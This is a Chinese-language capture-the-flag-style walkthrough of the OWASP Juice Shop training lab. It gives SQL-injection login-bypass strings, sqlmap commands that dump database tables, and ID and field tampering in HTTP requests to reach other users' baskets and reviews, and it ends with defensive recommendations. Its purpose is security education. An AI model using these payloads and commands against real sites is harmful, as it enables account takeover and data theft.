ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

OWASP Juice Shop 实战笔记:信息收集、SQL 注入与越权漏洞

OWASP Juice Shop 实战笔记:信息收集、SQL 注入与越权漏洞

实验环境

  • Kali GNU/Linux 2024.4
  • OWASP Juice Shop
  • Burp Suite Community Edition
  • sqlmap

启动 Juice Shop:

dockerrun--rm-p127.0.0.1:3000:3000 dockerpull.cn/bkimmnich/juice-shop

访问http://localhost:3000即可打开靶场。


一、信息收集

1. 发现管理员评论

在商品评论中,可以看到admin@juice-sh.op的留言:

admin@juice-sh.op One of my favorites!

2. 搜索参数

在搜索框输入apple,URL 变为:

http://localhost:3000/#/search?q=apple

说明搜索使用的参数是q。

3. 用户评论中的电视节目

在商品评论中,Jim 的评论提到:

jim@juice-sh.op Fresh out of a replicator.

“replicator” 是《星际迷航》中的设备。


二、SQL 注入登录绕过

1. 登录管理员账户

在登录页的 Email 字段输入:

' or 1=1 --

密码任意,点击登录即可绕过验证,以管理员身份登录。

2. 登录 Bender 账户

在 Email 字段输入:

bender@juice-sh.op' --

密码任意,即可登录 Bender 账户。


三、Broken Access Control 越权操作

1. 查看其他用户的购物篮

注册普通用户并登录,将商品加入购物车。抓取请求:

GET /rest/basket/6 HTTP/1.1

其中6可能是当前用户的购物篮 ID。将其修改为其他数字,例如5,发送请求。

响应中返回了 ID 为 5 的用户的购物篮内容,说明存在水平越权。

2. 以其他用户身份发布评论

抓取发布评论的请求:

PUT /rest/products/1/reviews HTTP/1.1

请求体:

{"message":"great!!!","author":"aaa@juice-sh.op"}

将author修改为其他用户邮箱,例如:

{"message":"good!","author":"bender@juice-sh.op"}

发送后,评论以 Bender 的名义显示。

3. 冒用其他用户提交反馈

抓取提交反馈的请求,将userId修改为其他用户 ID,例如22,即可冒用他人名义提交反馈。

4. 将商品加入他人购物篮

抓取将商品加入购物篮的请求:

POST /api/BasketItems/ HTTP/1.1

请求体:

{"ProductId":6,"BasketId":"6","quantity":1}

将BasketId修改为其他用户的购物篮 ID,例如3,即可将商品加入他人购物篮。


四、SQL 注入订购隐藏商品

1. 发现查询接口

抓包发现查询商品接口:

GET /rest/products/search?q=

2. 使用 sqlmap 注入

将请求保存为123.txt,使用 sqlmap 扫描:

sqlmap-r123.txt--level2-p"q"

确认存在布尔盲注,后端数据库为 SQLite。


尝试注⼊数据库名,发现结果中提示可以直接注⼊表

sqlmap-r123.txt--level2-p"q"--dbms='sqlite'--dbs


尝试注⼊表名,恢复出来 20 张表的表名

sqlmap-r123.txt--level2-p"q"--dbms='sqlite'--tables--threads5

3. 获取 Products 表列名

sqlmap-r123.txt--level2-p"q"--dbms='sqlite'-TProducts--columns--no-cast--threads5

得到列名:id、name、description、price、deluxePrice、image、createdAt、updatedAt、deletedAt。

4. 导出商品 ID 和名称

sqlmap-r123.txt--level2-p"q"--dbms='sqlite'-TProducts-Cid,name--dump--no-cast--threads10

在结果中找到:

10 Christmas Super-Surprise-Box (2014 Edition)

该商品就是隐藏的圣诞礼盒,ID 为 10。

5. 将隐藏商品加入购物车

将商品 ID 修改为10,发送加入购物车请求,即可成功下单。




五、负数量漏洞(Payback Time)

1. 将商品加入购物车

抓取请求:

POST /api/BasketItems/ HTTP/1.1

请求体:

{"ProductId":1,"BasketId":"6","quantity":1}

2. 修改数量为负数

将quantity修改为负数,例如-10,发送请求。


由于订单总价按数量计算,负数量会导致总金额变为负数,从而完成 “Payback Time” 挑战。


六、防御建议

  1. 输入验证:对搜索、登录、评论、反馈等所有用户输入进行严格校验。
  2. 参数化查询:使用预编译语句,避免 SQL 注入。
  3. 访问控制:服务端校验资源归属,禁止通过修改 ID 访问他人数据。
  4. 权限校验:评论、反馈等操作应校验当前用户身份,禁止篡改 author、userId 等字段。
  5. 业务逻辑校验:数量、金额等字段应限制范围,禁止负数、超大值。
  6. 最小权限:数据库账户只授予必要权限,避免注入后获取过多信息。

总结

本文覆盖了 OWASP Juice Shop 中多个典型漏洞:

  • 信息收集:通过评论、搜索参数、URL 等获取敏感信息。
  • SQL 注入:绕过登录、导出隐藏商品。
  • Broken Access Control:水平越权查看购物篮、冒名评论、冒名反馈、操作他人购物篮。
  • 业务逻辑漏洞:负数量导致负金额结算。

这些漏洞的共同点是:服务端过度信任客户端输入,缺乏严格的校验和权限控制。防御的核心是“永远不要相信用户输入”,并在服务端做好身份、权限和业务逻辑校验。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进